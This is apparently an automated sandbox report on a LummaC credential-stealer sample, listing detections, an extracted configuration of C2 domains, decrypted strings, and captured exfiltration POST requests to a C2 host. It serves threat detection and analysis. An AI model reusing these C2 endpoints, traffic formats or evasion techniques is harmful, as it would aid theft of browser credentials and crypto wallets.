Edit tour

Windows Analysis Report
hthjjadrthad.exe

Overview

General Information

Sample name:	hthjjadrthad.exe
Analysis ID:	1583921
MD5:	8cb303a0d38bfd91163192b53ce3b01d
SHA1:	f4634ef2bcd87793c7d926712b419a64337e5c37
SHA256:	3e558e5afa7c9a71c3dff2dc161a96df7e8aa9711d480501622d13a5e4015122
Tags:	exeinfostealerlummauser-Joker
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

hthjjadrthad.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\hthjjadrthad.exe" MD5: 8CB303A0D38BFD91163192B53CE3B01D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["necklacebudi.lat", "sustainskelet.lat", "grannyejh.lat", "aspecteirs.lat", "discokeyus.lat", "clockersspic.click", "crosshuaht.lat", "energyaffai.lat", "rapeflowwj.lat"], "Build id": "yau6Na--957080957"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hthjjadrthad.exe PID: 7292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: hthjjadrthad.exe PID: 7292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hthjjadrthad.exe PID: 7292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T21:15:54.737602+0100	2028371	3	Unknown Traffic	192.168.2.5	49712	104.21.85.66	443	TCP
2025-01-03T21:15:56.021354+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	104.21.85.66	443	TCP
2025-01-03T21:15:58.933728+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	104.21.85.66	443	TCP
2025-01-03T21:16:00.200140+0100	2028371	3	Unknown Traffic	192.168.2.5	49715	104.21.85.66	443	TCP
2025-01-03T21:16:01.422433+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	104.21.85.66	443	TCP
2025-01-03T21:16:03.519497+0100	2028371	3	Unknown Traffic	192.168.2.5	49717	104.21.85.66	443	TCP
2025-01-03T21:16:08.681791+0100	2028371	3	Unknown Traffic	192.168.2.5	49718	104.21.85.66	443	TCP
2025-01-03T21:16:11.545327+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	104.21.85.66	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T21:15:55.525902+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49712	104.21.85.66	443	TCP
2025-01-03T21:15:58.111101+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49713	104.21.85.66	443	TCP
2025-01-03T21:16:12.033448+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49720	104.21.85.66	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T21:15:55.525902+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49712	104.21.85.66	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T21:15:58.111101+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49713	104.21.85.66	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T21:16:07.821692+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49717	104.21.85.66	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T21:16:08.694065+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49718	104.21.85.66	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hthjjadrthad.exe

Avira: detected

Antivirus detection for URL or domain

Source: clockersspic.click	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/6	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/apig	Avira URL Cloud: Label: malware
Source: https://clockersspic.click:443/api	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/api	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/f	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/p	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/api1	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/apiZ	Avira URL Cloud: Label: malware
Source: https://clockersspic.click/apiD	Avira URL Cloud: Label: malware

Found malware configuration

Source: hthjjadrthad.exe.7292.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "sustainskelet.lat", "grannyejh.lat", "aspecteirs.lat", "discokeyus.lat", "clockersspic.click", "crosshuaht.lat", "energyaffai.lat", "rapeflowwj.lat"], "Build id": "yau6Na--957080957"}

Multi AV Scanner detection for submitted file

Source: hthjjadrthad.exe

ReversingLabs: Detection: 91%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: hthjjadrthad.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clockersspic.click
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: yau6Na--957080957

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_004B5A41 CryptUnprotectData,

0_2_004B5A41

Source: hthjjadrthad.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.85.66:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_00522490 FindFirstFileW,

0_2_00522490

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_004C20A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], E785F9BAh	0_2_004AE179
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi-34247326h]	0_2_004D4AB0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov ecx, eax	0_2_004C4B40
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+00000120h]	0_2_004AD237
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_004DB530
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+52325ED2h]	0_2_004A95A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebp+27h]	0_2_004A95A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_004A95A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edx+0Ch]	0_2_004ABB9A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-5Eh]	0_2_004ABB9A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edx]	0_2_004C4000
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [edi], cx	0_2_004C4000
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then jmp ebp	0_2_004AA0A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then push ebx	0_2_004AC1E5
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-5DD4F2F6h]	0_2_004C0386
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+554E0B2Ch]	0_2_004AA4B5
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+7CD3604Fh]	0_2_004B4550
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_004B884A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov dword ptr [esi+14h], ebx	0_2_004C8830
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	0_2_004DA8F0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+669A47E6h]	0_2_004C6910
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_004C89A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 29FCC5D8h	0_2_004B69BC
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 3FE33C50h	0_2_004B6A4C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	0_2_004B8A0E
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+3Ch]	0_2_004BAD34
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_004A8F10
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov edx, ecx	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 41E6EFBDh	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [esi+edi*8], 73B6CFD8h	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+0Bh]	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B6F27
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov edx, eax	0_2_004C4F90
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov ecx, eax	0_2_004C4F90
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+3364FBA7h]	0_2_004C4FB0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then call dword ptr [004DEDA8h]	0_2_004AD046
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov ecx, eax	0_2_004C1080
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov byte ptr [edx], al	0_2_004BB1E1
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_004DB220
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_004A73D0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_004A73D0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_004C93A0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 73004FCFh	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-0588FCE2h]	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov ecx, eax	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], D6A985C1h	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], D6A985C1h	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5E874B5Fh	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 5E874B5Fh	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 888A0AE0h	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], D6A985C1h	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov edx, ecx	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B9500
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B75F2
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	0_2_004B75F2
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	0_2_004BD6B0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov esi, edx	0_2_004BD6B0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-621FBE8Dh]	0_2_004B5753
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 4E935B1Fh	0_2_004C1723
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_004C1723
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov ecx, eax	0_2_004B780A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax+6D9FA8B0h]	0_2_004BB830
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_004BFA60
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], C703E6CDh	0_2_004D7E80
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	0_2_004ADF11
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+edi]	0_2_004A7FD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49713 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49713 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49720 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49717 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49712 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49712 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49718 -> 104.21.85.66:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: clockersspic.click
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49718 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49715 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49717 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 104.21.85.66:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 104.21.85.66:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TX7X1KAY2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12785Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LVTTT701N5ATDW5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15063Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=34M9OE309User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20517Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AV6ZD0HDXUB2MNISUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1233Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TPSGR9VZ8CC3OFJZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569682Host: clockersspic.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: clockersspic.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: clockersspic.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: clockersspic.click

Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2048083097.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187537683.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144604405.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186532501.0000000000D53000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144831144.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144746440.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: hthjjadrthad.exe, 00000000.00000003.2074255529.0000000003C8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
